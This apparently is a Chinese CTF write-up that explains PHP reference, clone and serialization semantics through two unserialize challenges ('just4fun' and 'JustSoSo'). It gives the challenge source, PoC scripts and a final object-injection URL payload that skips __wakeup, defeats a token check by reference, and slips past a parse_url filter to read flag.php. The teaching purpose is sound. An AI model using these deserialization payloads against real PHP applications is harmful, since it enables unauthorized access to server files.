从两道题目浅谈PHP深浅拷贝

从两道题目浅谈PHP深浅拷贝


0x01 前言

最近才认认真真看完PHP,虽然还是有很多地方不会应用,因此想多看看有关PHP的题目,看到了两道和PHP深浅拷贝有关的题目,自己也把它搞懂吧。。

0x01 正文

题一:南邮ctf的PHP反序列化


class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

题目意图很简单,就是先设置了对象的一个属性的值,如果另一个属性的值和这个设置好的值相等,则得到flag,而get_magic_quotes_gpc()$pass=stripslashes($pass)只是把加上的转义字符又给去掉,似乎对这个题没有什么影响。最初我以为$o->secret = "*"就是把这个属性的值设为*,其实是设置成了任意字符,那我们如何将这个满足$o->secret === $o->enter这里就要用到PHP深浅拷贝的知识。

我们举一个栗子:


class Example1
{
    public $name;

    public function __construct($name)
    {
        $this->name = $name;
    }
}

$ex1 = new Example('test1');// $ex1->name现在是:test1
$ex2 = $ex1;// $ex2->name现在是:test1

$ex2->name = 'test2';// 这样修改一下之后,$ex1->name与$ex2->name都变为了:test2

现在我们应该可以理解对象间引用的概念,他们就相当于是同一个类的同一个对象,PHP5默认通过引用传递对象,假设$obj1和$obj2是两个对象,使用$obj1=$obj2这样的方法复制出的对象是相互关联的,程序中想复制一个值与原来相同的对象,而不希望目标对象与源对象关联,应使用clone关键字。

$ex1 = new Example('test1');// $ex1->name现在是:test1
$ex2 = clone $ex1;//$ex2->name现在是:test1
$ex2->name = 'test2';//现在$ex1->name还是test1,而$ex2->name是test2

这里看到,通过clone之后,$ex1与$ex2是两个不同的对象,他们拥有各自的变量环境。但是这里需要注意,在这两个对象内部,拥有的是值类型的数据,如果是内部拥有的是引用类型,那么通过clone得到的新对象中的引用则仍然指向原引用

因此这里就引申出 浅复制深复制 的概念:

浅复制: 使用clone来复制对象,这种复制叫做“浅复制“,被赋值对象的所有变量都还有与原来对象相同的值,而所有的对其他对象的引用都仍然指向原来的对象。
深复制:被复制的对象的所有的变量都含有与原来的对象相同的值,除去那些引用其他对象的变量。

而如果要进行深复制,应该在类中定义一个__clone()方法,在这个方法中完成对目标对象的属性赋以新值,这里就不过多赘述。

或者利用串行化(冷藏与解冻),即序列化再反序列化:

$tmp = serialize($ex1);
$ex2 = unserialize($tmp);

这样得到的$ex2就是一个全新的对象

最后要引出&,属于浅拷贝,举个例子就能明白了:


$a = 'crispr';
$b = &$a;
$b = 'crispr copy';
echo $a; //此时$a = 'crispr copy'

类似传地址过去,其实它们的改变是完全同步的,或者说它们就是一体的。

因此PHP生成的POC如下:

 
  class just4fun
  {
      var $enter;
      var $secret;
      
      function __construct()
      {
          $this->enter=&$this->secret; //浅拷贝,它们的变化完全同步
      }
   }
 echo serialize(new just4fun());
 
  ?>

题二: 2019全国信息安全大赛 JustSoSo
这里我是本地进行复现的,23333,只能分析一下PHP了和构造Poc,其他的文件包含读PHP就省去了。。。

hint.php

  
class Handle{ 
    private $handle;  
    public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
public function __construct($handle) { 
        $this->handle = $handle; 
    } 
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
    }

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

index.php

<html>

error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'
'
; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>

通过GET获取两个参数:filepayload
Hint.php中有两个类FlagHandle。主要是通过Handle来调用Flag的getFlag()函数。但在Handle中存在wakeup()函数,该函数会重置所有变量,导致传入的Flag类对象为空。这里可以利用增加对象个数的方式来绕过wakeup函数,增加对象个数时wakeup函数便会失效,这个是比较常见的。还要绕过一层:

 function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
    }

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true); 
            }  

这里我们的$fileflag.php,而初始化后,$this->token_flag = $this->token,接着调用getFlag()方法后,重新设置了$this->token_flag,因此在这里也应该是要使用&符号,令$this->token_flag = &$this->token进行浅拷贝。

if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
         die('stop hacking!');
         exit();

此时还需要绕过?payload=不能出现flag,但是flag在flag.php中,在url多加斜杠即可,///index.php?此时PHP便不会解析成功了。
最终PHP的Poc如下:


class Handle{ 
    private $handle;  
    public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
public function __construct($handle) { 
        $this->handle = $handle; 
    } 
public function __destruct(){
	$this->handle->getFlag();
}
}
class Flag{
	public $file;
    public $token;
    public $token_flag;

    function __construct($file){
$this->file = $file;
$this->token_flag = &$this->token;
}
}
	
$o = new Flag('flag.php');
$oo = new Handle($o);
$ser = serialize($oo);

print $ser;
?>

最终payload:
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

注意Handle有私有变量,应该加上%00


参考链接:
https://www.cnblogs.com/nul1/p/9418080.html
http://www.lin2zhen.top/index.php/archives/11/

你可能感兴趣的:(CTF知识点总结)